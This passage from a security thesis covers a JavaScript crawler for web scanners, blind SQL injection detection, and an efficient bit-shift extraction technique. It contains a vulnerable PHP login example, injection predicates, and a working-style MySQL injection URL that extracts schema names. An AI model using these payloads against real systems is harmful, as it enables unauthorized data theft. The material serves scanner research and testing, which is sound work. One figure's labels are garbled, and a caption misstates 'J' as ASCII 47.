“web crawlers have a [sic] extremely difficult time traversing the site since the links are not

yet built or parse-able.”

To get a better idea of how these market-dominating black-box scanners performed when

27



given the task of crawling a website, we look to an evaluation published by Doupé et al.

In one of the experiments in the evaluation, Doupé benchmarked the crawling and URL

extracting abilities of eleven popular black-box tools on the market [30]. In order to measure

this ability, Doupé used a project called the Web Input Vector Extractor Teaser (WIVET) [19].

WIVET is a benchmarking project that aims to statistically analyze the abilities of web link

extractors which contains 56 tests and assigns a score to a crawler based on the percentage

of links it is able to find. More specifically, these tests measure a crawler’s ability to extract

normal anchor links, to links created dynamically with JavaScript, to links created with a

variety of JavaScript events, to finding links after following a stateful transaction of form-

submissions. A complete list of the tests can be viewed in Appendix A. In performing this

study, it was found that only two of the tools were able to get approximately 93% coverage

on WIVET. The third highest tool reached a coverage of 75%, while the remaining eight tools

fell below 62%, with five tools falling below 20%. Since most of the URLs in WIVET are

dynamically generated by client-side JavaScript, this is a clear indication that most of the

tools severely lack in their ability to parse and analyze JavaScript in a DOM-context. In

order to see if any of the tools have improved since the study performed by Doupé, we apply

the WIVET benchmark test to six1 out of the eleven tools and provide the results in Figure 3.2.

From these results, we can see that not much has changed with respect to the crawling ability

of the tools (with all of the tools scoring within 1% of Doupé’s tests). Doupé went on to

point out that of the lack of support for analyzing JavaScript “prevented tools from reaching

vulnerable pages altogether” and that “support for well-known, pervasive technology should

be improved”.

Because theWIVET tests almost exclusively tests a crawler’s ability to analyze JavaScript

in a DOM context, we can indeed conclude that this limitation is inherent in most of the

1Because many commercial tools were considered in Doupé’s study, we were not able to get the appropriate
license for our WIVET test.
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Figure 3.2: WIVET results from Doupé’s tests and our tests.

tools tested. We speculate the reasons behind this shortcoming is the nontrivial nature of

the ability to parse and analyze JavaScript within the DOM. While the solution to this prob-

lem might seem as easy as embedding a JavaScript engine (such as V82) into the crawler,

incorporating the ability to interface and interact with objects in HTML adds a level com-

plexity which we speculate most black-box developers do not wish to endure, and without

2The V8 JavaScript Engine is an open source JavaScript engine developed by Google which ships with
the Google Chrome web browser.
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any ability to access the DOM of a page, the inclusion of a JavaScript engine on its own

would be fruitless. From our limited experience with some of the tools in question, we sus-

pect that the tools simply resort to using regular expression based heuristics for identifying

URLs on a page. Because of this, the endeavor of embedding a JavaScript engine along with

a mechanism to interface with a web page’s DOM (similar to how a modern web browser

would) would be much more cumbersome than simple string searching.

3.2.2 Limitations of Detecting Blind SQL Injection vulnerabilities

There have been a variety of published works which have performed comparative studies

on the abilities of black-box tools with respect to blind SQL injection detection. In a recently

published comparative analysis, Loo et al [38] tested the blind SQL injection detection

abilities of five popular black-box tools (JSky, w3af, Wapiti, Arachni, and Websecurify) [6,

17, 18, 1, 20] on two popular testbeds (WebGoat, and Mutillidae) [11, 8]. These testbeds are

commonly used for testing the abilities of web application scanners against vulnerabilities

outlined by the OWASP Top 10. In their study, none of the tools were able to detect the

blind SQL injection vulnerabilities present in WebGoat, and only two of the tools were able

to detect the presence of the vulnerability in Mutillidae.

In another comparative analysis study, Fong et al [31] measured the abilities of four

commonly used black-box pentesting tools on a custom testbed. Included in their tests were

11 blind SQL injection vulnerabilities, out of which, only two of the tools were able to detect

two of the vulnerabilities present.

Detecting blind SQL injections pose a special challenge for black-box web scanners be-

cause they usually require some amount of user interaction to detect. This is because in a

blind SQL injection scenario, only certain portions of the page change depending on whether

the injected query was successful or if it failed. Given the amount of published works which

have measured most scanners’ inability to detect blind SQL injections, it is clear that this
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area requires further research. We will describe our approach for detecting blind SQL injec-

tions in Chapter 5.
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Chapter 4

Addressing Crawling and URL

Extraction Challenges

In this chapter, we propose our approach for ways to remediate the challenges many

black-box web scanning tools face with respect to crawling a web application. We will first

give an overview of our approach, followed by an implementation in the form of a prototype

tool which we will then evaluate.

4.1 A DOM-based Approach

In the study published by Doupé et al [30], we learned that one of the biggest challenges

black-box scanners face is crawling a web application while analyzing JavaScript in a DOM-

context. The reason for this limitation is due to either a lacking or non-existent embedded

JavaScript engine in the crawler module of the black-box scanner. Recall from the previous

chapter, from our limited experience from some of the tools, we suspect most of them resort

to simple regular expression heuristics for extracting URLs on a web page. While this

approach may work well for simple, static web pages, it will struggle immensely when given
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the task of scanning a web application with a dynamically generated link structure. Modern

web applications are generally tailored to function accordingly when accessed from a web

browser, and since many black-box scanners simply retrieve and analyze the static page,

they are inherently losing a level of analysis which can be provided by the browser. Because

modern web browsers excel at incorporating a JavaScript engine within a DOM context, we

feel that an appropriate solution to this problem is to utilize the modern web browser itself.

We overcome this limitation by implementing a crawler in pure, client-side JavaScript in

the form of an extension to the Google Chrome Web Browser. The main goal for our crawler

is to traverse a web application with the sole purposes of URL extraction. In doing so, we

take advantage of the powerful V8 engine present in Google Chrome, as well as its built-in

support for executing JavaScript in a DOM-context using the WebKit1 layout engine. Using

this approach, we are able to place our crawler as close to the web application as possible.

The advantage of this approach is that we can actively use the browser’s DOM parsing and

JavaScript execution capabilities, and closely observe the web page’s DOM as it loads and

locate URLs as they are added through dynamic changes.

4.1.1 Locating URLs in a Web Document

In order to be able to extract as many URLs from a web application as possible, we

must first examine the various areas where URLs can be present in a web site. The first area

where links could be present are within the attribute values of various HTML elements. These

elements exist within the DOM tree and are pages which are rendered by the browser. There

exist a variety of HTML elements which can have attributes containing URLs. According

to the latest HTML5 specification [5], these attributes are: action, archive, background,

cite, classid, codebase, data, formaction, href, longdesc, manifest, poster, profile, src, and

usemap. The second area which URLs may exist are in XML files. Although they are

1WebKit is a layout engine designed to allow web browsers to render web pages.
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not standard HTML files, XML files can be parsed through a corresponding XML DOM

object using the same methods available in a normal DOM object. The third area where

links may be present are in places which are not represented by DOM, such as HTML

comments, cookies, cascading style sheets, plain-text files, and external JavaScript files.

The final area which we are considering for there to be URLs are in “indirectly linked”

pages. We define an “indirect link” as being any URL which is not directly pointed at,

however can be found by traversing upwards in the link’s path structure. For example, a

link to http://example.com/backups/about/index.php contains an indirect link located

at http://example.com/backups/, even though there is not an explicit link pointing to this

location.

4.1.2 Events Which Trigger DOM Changes

Web documents allow for dynamic content to be introduced into the DOM. Because of

this, changes to the DOM tree could mean the inclusion of new URLs dynamically generated

by JavaScript. In order to cover for this scenario, we must also consider the variety of

events which will trigger changes to the DOM tree. Currently, there are three organizations

which define DOM Events. First, the standard and most widely supported DOM events are

defined by the W3C2 [3]. Second, Microsoft defined a set of DOM events which are exclusively

supported by their Internet Explorer browser [7]. Third, Mozilla defined a set of DOM

events which are only to be used on XUL documents [21]. The complete list of DOM events

which we are considering in our crawler implementation can be found in Appendix B. We

will discuss the details of how we monitor for dynamic changes to the DOM in the following

section.

2The World Wide Web Consortium is the international standards organization for the World Wide Web.

34



4.2 Implementation of a JavaScript-based Crawler

We present our crawler in the form of an extension to the Google Chrome web browser.

The graphical component overview of our crawler can be found in Figure 4.1. The function-

ality of our crawler is two-fold. We begin the crawling process by seeding our crawler with a

root URL. As the page is loaded, the first aspect of our crawler monitors the DOM as-is by

stepping through the execution while watching the call-stack. From here, our crawler will

watch the locations within the DOM which could house URLs (as described in Section 4.1.1).

If the execution of JavaScript introduces new URLs to the DOM, or if we detect changes to

existing URLs in the DOM, our crawler adds it to the queue of URLs.

The second aspect of our crawler is the act of intentional stimulation of the web applica-

tion. More specifically, because we can easily access the functions and event triggers of the

web application, the crawler manually calls each of the functions present and watches the

call-stack for any newly encountered or modified URL. The idea for this is to stimulate the

web application as much as possible. Uncalled functions or event triggers could also lead to

the addition of more URLs into the DOM.

For indirectly linked URLs and areas outside the DOM, we use a simple regular expression

heuristic for detecting URLs. If our crawler detects any new URLs in these locations, we

add it to the queue of URLs. Note that the dynamic changes which occurs in a web page

occurs within the DOM, and while we are taking special measures to examine DOM changes,

we feel that a simple regular expression search for non-DOM based resources should suffice.

Our crawler continues this loop until the web application is exhausted of URLs. Note that

our implementation does not yet contain an approach for handling form submissions. This

is because handling form submissions adds another level of complexity (such as login forms,

format-specific user input, multiple required form fields, etc). Although we feel that our

implementation can handle heuristics based on form-handling, more research is needed in
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Figure 4.1: Overview of our JavaScript-based crawler

this area and this aspect of our crawler is left for future work.

With experiences gained from implementing our JavaScript-based crawler, we found that

from a programming aspect, the challenge was far less complex than if we had attempted

to implement a crawler based on a stand-alone JavaScript engine and a stand-alone DOM

layout engine. Because our crawler is in the form of a simple plug-in to the Google Chrome

browser, the issue of portability is non-existent, and because it is written in pure JavaScript,

the open-source nature of the tool can allow for simple tweaks and modifications. We present

the evaluation of our prototypical JavaScript crawler in Chapter 6.
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Chapter 5

Addressing Blind SQL Injection

Vulnerabilities

5.1 Automated Detection Approach

In a classical SQL injection scenario, the result-set output of the injected query is im-

mediately reflected onto the resulting page. In a blind SQL injection scenario, the result-set

output of the injected query is not reflected on the resulting page. Instead, the web appli-

cation will display a custom page based on whether or not the query returned any results.

Recall our example of the PHP login page vulnerable to blind SQL injection:

...
$query = ”SELECT username FROM users WHERE username=‘”.$ POST[‘username’].”’ AND

password=‘”.$ POST[‘password’].”’”;

$result = mysql query($query);
$row = mysql fetch array($res);

if(empty($row[‘username’])) {
echo ”Login Failed.”;

} else {
echo ”Login Successful.”;

}
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...

If the user-supplied username and password matches a record in the database, then the

DBMS will return that record as a part of the result set of the query. The PHP script will

then check to see if the result set contains any results and display “Login Failed.” if the

result set is empty or “Login Successful” if the result set is not empty. In Chapter 2.1.1, we

established that this type of vulnerability would allow for an authentication bypass. However,

this type of vulnerability also opens the door to a blind SQL injection vulnerability. In the

next section, we will discuss how this type of vulnerability can be exploited.

In most cases of SQL injection vulnerabilities, the portion of the query which unsanitized

user-data gets passed to is within the WHERE clause of a SELECT statement. Because this area

of the query is used to specify logical operators, we can control the “true/false-ness” of the

query, that is, we can control whether or not the query will return any results. Consider the

result of the following SQL injections and the resulting page generated from the attack:

# Manipulating the query to be always true
$query = ”SELECT username FROM users WHERE username=‘DoesNotMatter’ AND password=‘’

or ‘1’=‘1’”;
# Resulting page: Login Successful.

# Manipulating the query to be always false
$query = ”SELECT username FROM users WHERE username=‘CorretUsername’ AND password=‘

CorrectPassword’ and ‘1’=‘2’”;
# Resulting page: Login Failed.

The above example shows that regardless of whether or not correct input was supplied for

the username or password, the behavior of the web application can be manipulated and

controlled by us. That is, by injecting the predicate ’ or ‘1’=‘1, we are able to force the

query to be “always true”. Likewise, by injecting the predicate ’ and ‘1’=‘2, we are able

to force the query to be “always false”. Our detection approach for a blind SQL injection

vulnerability is based on this observation, and relies on the ability to inject predicates in the

WHERE clause of a SELECT statement.

38



Our approach for detecting a blind SQL injection vulnerability is strictly dependent on

the output a page generates when injecting predicates which are “always true” and “always

false”. To the best of our knowledge, this specific approach has not been taken before. We

will discuss related approaches in Chapter 7.

The pseudocode of our approach can be found in Algorithm 6.1.1. The overall assumption

of this approach is that a web page vulnerable to blind SQL injection will generate different

page results when injecting each of the two predicates. By identifying changes brought about

from injecting the true and false predicates, we can effectively detect a blind SQL injection

vulnerability on a URL for a given user-input field. As a result of our detection method,

we programmatically identify certain “tokens” (unique words or phrases) values on the page

which result from a successful (or true) query. These tokens, while not dependent for the

detection process, can be used for exploitation purposes (we can infer whether or not a

query was successful by the presence or absence of these tokens). We will discuss how we use

these tokens when discussing the implementation of our blind injection tool. To begin with,

our algorithm takes in as input the URL of the page which we are considering, the related

user-inputs needed to access the URL (GET, POST, and COOKIE variables), the HTTP

method needed to reach the page, as well as a dictionary of “always true” and “always false”

predicates.

Because the web page could have dynamic content between requests, even without the

injection of the predicates, we must include a pre-processing phase in which we identify

portions of the web page which are unstable. By doing so, we wish to eliminate the possi-

bilities of false positives which can come about by these unstable portions. We start off our

detection process with a normalization phase in which we identify and disregard lines which

are unstable between requests. This normalization phase is done by sending n number of

requests to a page along with the given user inputs without any predicates. In doing so, we

wish to access the target URL within the same state it was originally accessed in. Within
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this normalization phase, we perform a unified diff between the pages returned. We then

identify which lines are unstable, and ensure that these lines are not considered during the

detection phase in-which we inject the predicates.

After the normalization phase, we test each of the key and value pairs in the GET, POST,

and COOKIE variables for the possibility of being vulnerable to a blind SQL injection. We

do so by retrieving the resulting pages after injecting the two predicates and performing a

unified diff between the two pages. If there exists a difference, we signal that a blind injection

vulnerability has been found, and keep track of the portion of the page which differs between

the two1.

1We will use this difference value as the token value when we describe our implementation.
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Algorithm 5.1.1: detectBlindSQLInjection(URL,method, allInputs, predicates)

main

foundV ectors← empty list()
unstableLines← normalize(URL,method, allInputs)
for each (key, value) ∈ allInputs

do















































alwaysTrueResp← inject(URL,method, key, allInputs, predicates[alwaysTrue])
alwaysFalseResp← inject(URL,method, key, allInputs, predicates[alwaysFalse])
diff ← unified diff(alwaysTrueResp, alwaysFalseResp)
for each line ∈ diff

do















if line.number /∈ unstableLines and

predicates[alwaysTrue] /∈ line and

predicates[alwaysFalse] /∈ line
do Append (input, line) to foundV ectors

return (foundV ectors)

procedure normalize(URL,method, allInputs)
unstableLines← empty list()
initialState = HTTP.request(method, URL, allInputs).open()
for i← 0 to n

do















tempState← HTTP.request(method, URL, allInputs).open()
diff ← unified diff(initialState, tempState)
for each line ∈ diff
do

{

Append line.number to unstableLines
return (unstableLines)

procedure inject(URL,method, targetKey, allInputs, predicate)
request← HTTPRequest(method, URL)
for each (key, value) ∈ {allInputs− targetKey}
do

{

request.addParameter(key, value)
request.addParameter(targetKey, allInputs[targetKey] + predicate)
pageResponse← request.open()
return (pageResponse)

One foreseeable limitation of our detection approach is if a web page is vulnerable to

XSS, our algorithm will signal it as being vulnerable to a blind SQL injection and cause a

false positive. Recall that in an XSS scenario, a web page will take user-supplied input an

immediately display it onto the page. Because our method works by detecting differences

between pages after the injection of special predicates, a web page which displays these pred-

icates onto the resulting page (as it would in an XSS vulnerability), would be flagged by our

algorithm (because the differences in the pages would be the literal predicates themselves).

Our solution to this problem is heuristic; if the literal predicates appear in any lines of the
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unified diff result, we do not consider it.

Another limitation that might arise from our approach is invalid token identification.

Because we are tracking which line numbers of a page source change from the injection

of the predicates, if the difference of the resulting pages span across multiple lines, the

possibility of returning an invalid token can arise. Because identification of a valid token

value is not required for detection (and boils down to a fuzzy string searching problem), we

leave this problem for future work.

Finally, as mentioned above, the main limitation of our detection method it that it is only

able to detect SELECT based blind SQL injection vulnerabilities. Other types of SQL queries

(such as INSERT and UPDATE queries) might be vulnerable to a blind-based vulnerability,

however we leave the detection of these vulnerabilities for future work.

5.2 Advanced Exploitation Using Bit Shifts

As we mentioned before, exploiting a vulnerability is the obvious way to be sure that a

vulnerability exists (because there always a chance that the detection of a vulnerability might

be incorrect). Because of the time-intensive and request-intensive nature of modern blind

SQL injection exploitation tools, it is important to improve upon these resource-intensive

tasks. This is because in a practical setting (when given the task of testing the security

of a real-world web application), putting the web application through stress may cause a

disturbance to the web application, and is highly disparaged. Inefficient resource usage

generally occurs because a new query must be crafted and executed in order for each piece

of information retrieved, and efficiently exploiting a blind SQL injection vulnerability boils

down to efficient methods of brute-forcing. In this section, we discuss a recently discovered

technique for advanced blind SQL injection using bit shifts. While there has been a few

underground sources on the Internet which discuss this attack [39, 29], to our knowledge,
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01001010 >> 7 == 00000000 == 0

01001010 >> 6 == 00000001 == 1

01001010 >> 5 == 00000010 == 2

01001010 >> 4 == 00000100 == 4

01001010 >> 3 == 00001001 == 9

01001010 >> 2 == 00010010 == 18

01001010 >> 1 == 00100101 == 37

01001010 >> 0 == 01001010 == 74

Figure 5.1: Applying the bitwise right shift operation on ‘J’ (ASCII value 47)

there has not been any published works which detail this new technique.

Recall that in blind SQL injection, we are required to brute-force the result set of the

injected query one character at a time (in the worst case, requiring 127 requests to the

web application for each character). In practice, testing a web application for a blind SQL

injection vulnerability in this manner would be rather intrusive and could cause a denial-

of-service. In this new technique, we explain a more efficient method. Namely, we will

discuss how we can effectively brute-force each character of a result set with only 8 requests

per character. This technique makes heavy use of the bitwise right shift operator. In the

following example, we will discuss how the right shift operator works. Consider the character

‘J’ which has a binary representation of 01001010 (74). Applying a right shift of n will shift

and discard the n rightmost bits. Figure 5.1 provides an example of a right shift operation.

Suppose that we are interested in determining the value for some unknown character.

In addition, suppose that there exists an Oracle2 for us to query for information about this

unknown character. However, we can only do so under two restrictions. First, the response

from the Oracle is either true or false. Second, we are only allowed to query the Oracle up

to eight times. Let us examine how it is possible to work under these restrictions. We will

2The Oracle we are referring to in this context is an abstract machine capable of answering questions,
and not the popular DBMS.
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use α to denote the unknown character. Consider the following question and response from

the Oracle:

Question 1: Does ASCII(α) >> 7 == 1?

Response 1: False

Note that by asking this question, we know that the first bit of the ASCII value for the

unknown character is 0. Therefore, if we were to apply a right shift of 6, the resulting value

would either be a 0 (bit string ‘00’) or a 1 (bit string ‘01’). Using this method, we are

effectively performing a binary search on the bit string of the unknown character’s ASCII

value. We will continue on with the queries and keep track of the deduced bit string:

Current Bit string: 0

Possible Values: 0 (00) or 1 (01)

Question 2: Does ascii(α) >> 6 == 1?

Response 2: True

Current Bit string: 01

Possible Values: 2 (010) or 3 (011)

Question 3: Does ascii(α) >> 5 == 3?

Response 3: False

Current Bit string: 010

Possible Values: 4 (0100) or 5 (0101)

Question 4: Does ascii(α) >> 4 == 5?

Response 4: True

Current Bit string: 0101

Possible Values: 10 (01010) or 11 (01011)

Question 5: Does ascii(α) >> 3 == 11?

Response 5: False

Current Bit string: 01010

Possible Values: 20 (010100) or 21 (010101)

Question 6: Does ascii(α) >> 2 == 21?

Response 6: True

Current Bit string: 010101

Possible Values: 42 (0101010) or 43 (0101011)

Question 7: Does ascii(α) >> 1 == 43?

44



Response 7: True

Current Bit string: 0101011

Possible Values: 86 (01010110) or 87 (01010111)

Question 8: Does ascii(α) >> 0 == 87?

Response 8: False

After querying the Oracle, we have deduced that the unknown character’s ASCII value is

86, which is the character ‘V’.

Since many DBMSs offer string and bitwise functions which can be used in queries [9, 13],

we can leverage this knowledge to more efficiently exploit a blind SQL injection vulnerability.

Recall that in a blind injection vulnerability, we are only able to determine whether or not

a specific injected query was successful or not. In other words, by injecting a predicate to

the WHERE clause of the query, we can effectively control whether the query results to true or

false. In doing so, we can create a scenario where the DBMS becomes our Oracle, and we can

inject the right shift operator in the predicate of the query in order to question this Oracle.

Suppose there exists a page http://vuln.com/?id=1, where the variable id is vulnerable

to a blind SQL injection. Consider the result of the following MySQL injection:

http://vuln.com/?id=1+or+(ascii((substr((select+group concat(schema name)+from+
information schema.schemata),1,1)))>>7)=0

We can see that we are retrieving the first character of the nested query using MySQL’s

substr() function. This character is then converted into an integer with MySQL’s ascii()

function, and then right-shifted by 7 bits. The result of this shift is then compared with 0

using MySQL’s logical OR operator. In doing so, we can see that we are creating a scenario

identical to what we described in our above example. Using this method, we can enumerate

the character position of the result set of the nested query, while performing a binary search

on each character’s bit string.
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Chapter 6

Evaluation

6.1 JavaScript-based Crawler

We evaluated our JavaScript-based crawler on the WIVET benchmarking project. Recall

that WIVET (Web Input Vector Extractor Teaser) is a benchmarking project that aims to

statistically analyze the abilities of web link extractors which contains 56 tests and assigns a

score to a crawler based on the percentage of links it is able to find. More specifically, these

tests measure a crawlers ability to extract normal anchor links, to links created dynamically

with JavaScript, to links created with a variety of JavaScript events, to finding links after

following a stateful transaction of form-submissions.

Our WIVET results are presented in Figure 6.1, in which we rank our crawler amongst

those evaluated by Doupé et al in [30] and our mini-evaluation of a few of the tools. In its

current state, our prototypical crawler achieves a WIVET coverage score of 77%. For being

a relatively simple and rudimentary tool, our JavaScript-based crawler ranks third among

those commercial tools which are frequently used in an industry setting. From looking at

the WIVET results more closely, some of the tests which our crawler missed were due to its

lack of form-submission handling, and we feel that with more research in this area, this score

46



W
eb

in
sp

ec
t 7

.7
.8

69
.0

A
cu

ne
tix

 6
.1

A
cu

ne
tix

 7
.0

O
ur

 J
av

aS
cr

ip
t C

ra
w

le
r

N
TO

S
pi

de
r 

3.
2.

06
7

H
ai

ls
to

rm
 5

.7

w
3a

f 1
.0

w
3a

f 1
.1

A
pp

sc
an

 7
.8

.0
.0

M
ile

sc
an

 1
.4

M
ile

sc
an

 1
.9

.1
2

G
re

nd
el

−
S

ca
n 

1.
0

G
re

nd
el

−
S

ca
n 

1.
0

B
ur

p 
1.

2

B
ur

p 
1.

4.
01

P
ar

os
 3

.2
.1

3

P
ar

os
 3

.2
.1

3

N
−

S
ta

lk
er

 2
00

9

%
 o

f W
IV

E
T

 T
es

ts
 P

as
se

d

W
eb

in
sp

ec
t 7

.7
.8

69
.0

A
cu

ne
tix

 6
.1

A
cu

ne
tix

 7
.0

O
ur

 J
av

aS
cr

ip
t C

ra
w

le
r

N
TO

S
pi

de
r 

3.
2.

06
7

H
ai

ls
to

rm
 5

.7

w
3a

f 1
.0

w
3a

f 1
.1

A
pp

sc
an

 7
.8

.0
.0

M
ile

sc
an

 1
.4

M
ile

sc
an

 1
.9

.1
2

G
re

nd
el

−
S

ca
n 

1.
0

G
re

nd
el

−
S

ca
n 

1.
0

B
ur

p 
1.

2

B
ur

p 
1.

4.
01

P
ar

os
 3

.2
.1

3

P
ar

os
 3

.2
.1

3

N
−

S
ta

lk
er

 2
00

9

%
 o

f W
IV

E
T

 T
es

ts
 P

as
se

d

0
10

20
30

40
50

60
70

80
90

10
0

Doupe Test
Our Test
Our Crawler

Figure 6.1: WIVET results of our JavaScript-based crawler

can be raised significantly.

6.2 Blind SQL Injection Detection

In order to get an idea of how our well blind SQL injection detection algorithm performs,

we provide detection results over the Mutillidae testbed. Mutillidae is a deliberately vul-

nerable set of PHP scripts that contain vulnerabilities which are outlined by the OWASP

Top 10 Project. It is an open source project which is commonly used for penetration test-

ing purposes. In our evaluation, we set the n value in our normalization algorithm to zero.

Recall that this n value is used to control the number of epochs in the normalization phase
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Table 6.1: Detection results for Mutillidae

Total False Negatives False Positives
3 0 1

of our detection algorithm. This number can be experimented with if the detection method

flags a high number of false positives to see if they are caused by unstable lines in the web

application.

Out of the many vulnerabilities present in Mutillidae, 3 are blind SQL injection vulnera-

bilities. The complete list of vulnerabilities can be found in Appendix D. One thing to note

is that while some vulnerabilities are labeled as “SQL injection”, they ranged from INSERT

to UPDATE to SELECT vulnerabilities. Because our detection method focuses only on the de-

tection of SELECT-based blind SQL injection, the results of our detection method depend on

the accuracy of identifying only these vulnerabilities.

Our blind SQL injection detection tool takes in as input a JSON-formatted list of URLs

along with respective input values (GET, POST, COOKIE variables). Our detection results for

Mutillidae can be seen in Table 6.1. From this table, we can see that our detection tool was

able to detect all 3 blind SQL injection vulnerabilities present, and one false positive.

Although the false negative rate was zero, we detected one XSS vulnerability as being

a blind SQL injection vulnerability. Figure 6.2 displays the raw output of our detection

tool. Recall that in our detection approach, we applied a pre-processing phase to remove

false detections (due to XSS vulnerabilities) by dismissing any detection in which our l iteral

predicates showed up in the token values. In Figure 6.2, we can see (highlighted in red)

that instead of directly reflecting user input to the resulting page (as with classical XSS),

this particular page was reflecting user input after stripping quotes. Because of this partial
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[∗] Blind Injection Vector Detected!

[∗] URL: http://10.0.1.55/mutillidae/index.php

[∗] Variable: target host

[∗] Method: post

[∗] True Pred.: ’ or ‘1’=‘1

[∗] False Pred.: ’ and ‘1’=‘2

[∗] Token: ∗∗ server can’t find or 1=1

Figure 6.2: False positive output of our tool on Mutillidae

filtering, our pre-processing fails and flags this vector as being vulnerable to blind SQL

injection.

6.3 Performance Evaluation of Advanced Exploitation

In this section, we present two evaluation results of our blind SQL injection detection

and exploitation tool. More specifically, we observe each tool’s execution time as well as the

number of HTTP requests each tool required to exploit a vulnerability.

To get an idea of the performance improvements of the advanced exploitation technique

we described in Chapter 5.2, we compared our tool against three popular tools on the mar-

ket for exploiting blind SQL injection. The tools which were considered were Havij [4],

Sqlmap [15], and Bsqlbf [2]. For this evaluation, we created a simple vulnerable PHP web

application using MySQL as the back-end DBMS, and hosted it on a machine within a lo-

cal, private network. There were two databases in the DBMS, information schema and

the office. We instructed each tool to retrieve these two database names when performing

the attack by using default configuration modes or modes requiring the least amount of work

to setup. The raw program output can be seen in Appendix C. One thing to note is that

Havij and Sqlmap both had a fingerprinting phase in which they determine the back-end

DBMS with some heuristic-based analysis. We do not consider the time or the number
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of HTTP requests from this fingerprint phase, and instead only consider the amount of

resources required to pull off the actual exploitation.

In our first evaluation, we measured the amount of time it took for each tool to perform

the blind SQL injection. Figure 6.3 shows the number of seconds each tool required to

accomplish the blind injection attack. To record the amount of time, we used tcpdump1 to

capture the traffic for each individual tool’s session. The number of seconds displayed on

the graph is the number of seconds up until the last packet of the attack session.

We can see from this graph that our tool performed substantially better than other tools

with respect to the amount of time it took to carry out an attack. Our implementation

of the blind injection exploitation tool was able to extract the database names in under

a second, while Havij and Bsqlbf took 49 seconds and 21 seconds, respectively. Because

Sqlmap is arguably the most popular tool on the market for exploiting SQL injections, it is

interesting to see the stark contrast in execution time between it and other, not so widely

used tools available. The amount of time it took Sqlmap to extract database names was just

under 7 minutes. Judging by the program output, which can be seen in Appendix C.1, the

likely reason for this is that Sqlmap choose to exploit the vulnerability using a time-based

approach, which is done by intentionally causing the server to sleep a number of seconds for

true and false queries.

For our second evaluation, we were interested in the number of HTTP requests each tool

required to exploit the blind SQL injection vulnerability. To do so, we captured traffic from

each tool’s exploitation session and counted the number of HTTP requests going to the web

server. We did not consider any TCP-related packets or HTTP response packets. Figure 6.4

shows a graph of these results. Again we can see that our tool performed better than others

on the market, requiring only 240 requests to extract the database names. This is in contrast

with Havij and Bsqlbf, which required nearly twice the number of requests to pull off the

1tcpdump is a common packet analyzer that runs under the command line.
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Figure 6.3: Number of seconds to retrieve schema names

attack.

Another interesting thing to note, while not directly related to the evaluation, is that one

of the schema names from Havij’s attack was incorrect. Instead of “information schema”,

Havij reported it as “inf?rmation sciema”. We do not, however, take this error into consid-

ering for our above evaluation. Instead, we assume it as a limitation of the tool.
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Chapter 7

Related Work

In this section, we discuss related approaches which other researchers have taken to

address the certain areas which we chose to examine. With respect to crawling, Mesbah et

al [25] proposed a technique to crawling AJAX applications. Their technique is based upon

the identification of “clickables” (certain HTML elements which are able to receive clicks from

the user). After identifying these special elements, they then manually call the JavaScript

functions housed in these elements and observe what changes they bring about to the DOM,

while keeping track of the web application using an internal state diagram. They presented

their work in the form of CRAWLJAX, which is written in Java and embeds a web browser.

They interface to it through API calls provided by the Selenium1 WebDriver APIs. We were

interested in the WIVET results of CRAWLJAX, however after spending a significant of time

installing and setting up, we were not able to get it to work correctly on Linux or Windows.

The main difference between our work and the work provided by Mesbah et al, is that while

CRAWLJAX is based upon identifying only elements which a user can click on, they leave behind

many elements which do not require a user’s click in order to be triggered (such as onLoad()

and onKeyPress() events). They also disregard any JavaScript functions which are not

1Selenium is a tool used for automating browsers. http://seleniumhq.org/
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triggered by clicks, and uncalled functions which may be present in the web application. Our

crawler takes this into consideration and, in addition, manually stimulates the application.

The final difference is in the implementation itself. While CRAWLJAX requires that a whole

host of software packages be installed (and also have certain hardware requirements), our

tool is in the form of a light-weight JavaScript archive which can be easily loaded into Google

Chrome.

In [34], Huang et al performed a similar study in which they attempted to increase the

overall effectiveness of black-box pen-testing by adopting software-engineering techniques to

design a security assessment tool for web applications. In one of their efforts, they aimed to

increase crawling efficiency by embedding Internet Explorer’s JavaScript and DOM-layout

engine into their tool. One shortcoming from the onset of their approach was the platform

limitation of their tool. While their tool requires the use of the Windows operation system,

because our crawler is written in pure JavaScript as a plug-in to the Google Chrome browser,

our crawler is platform-agnostic. The second limitation of their crawling approach is related

to the small number of locations in which they are referring to in order to locate URLs on

a web page. Our tool refers to the current HTML specifications in order to enumerate all

possible locations a URL can be present. In addition to their lack of searching all possible

locations for URLs, the final limitation of their approach is the inability to handling uncalled

JavaScript functions/triggers. While their crawler is simply searching for a hand full of

locations a URL can be present, our crawler is actively monitoring the DOM of a web page,

as well as actively stimulating the web application in order to force any dynamic changes to

take place.

With respect to blind SQL injection detection, the work which most closely relates to

ours was presented by Hotchkies et al [33] at the Black Hat conference in 2004. Hotchkies

approach to detecting blind SQL injection relies upon behavior analysis of a web page (much

like ours). In contrast, however, his method requires that the specific user-input under
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consideration has a known value which returns a result set (or returns “true”) in order for

his detection method to work. This can be a limitation, since not only does his method

require the vector, but also a valid value. This is not required in our detection method

because of our choice of the “always-true” predicate, and choosing any value for a user-input

will still allow us control of the overall “true/false-ness” of the query. His second approach

is in regards to token identification. While his method for token identification is through

using an adaptive filter (for minimizing difference noise), our method for reducing noise is

by applying a normalization phase to identifying unstable portions of the web page.

In [34], along with an attempt at addressing crawling limitations, Huang et al proposed

a technique for detecting SQL injection by injecting certain queries and observing the output

of the pages generated. In their technique, Huang et al injected three types of strings into

each parameter of the web page. The first string is SQL syntax which causes the back-end

query to “fail”. The second string is an “intentionally invalid” string (such as a “random

50 character string”). The third string which is sent does not contain any SQL syntax.

Based on the outputs of these pages, the decision is made of whether or not a SQL injection

vulnerability was found. For example, if all pages return the same output for each string, the

assumption is made that no vulnerability exists. The underlying flaw in their approach is the

premise that the second string will cause the back-end query to fail. Unless the “intentionally

invalid” string contains SQL-related characters, the possible increases that the output of the

second string is related to a successful query.

With respect to the exploitation of blind SQL injection, a study performed by Martin et al

in [40] shows how it is possible to combine a black-box and white-box approach to automate

the generation of SQL injection attacks. They provided a tool called QED. QED takes in as

input any Java-based web application and produces SQL injection and XSS attack vectors.

Claiming that QED returns no false positives, they were able to achieve consistently low false

negative rates in their experimental evaluation. While Martin’s work merges a static analysis
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approach to automatically creating attack vectors, our exploitation method is strictly the

offspring of a black-box approach. Our approach for the detection of blind SQL injection

produces token values, and with these token values, pre-made SQL statements can be utilized

in order to create SQL injection attack vectors.
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Chapter 8

Conclusion

In this thesis, we have presented our work of addressing inherent shortcomings of modern

black-box web vulnerability scanners. In doing so, we proposed an approach aimed at ad-

dressing the severe limitation of web application crawling. By designing and implementing

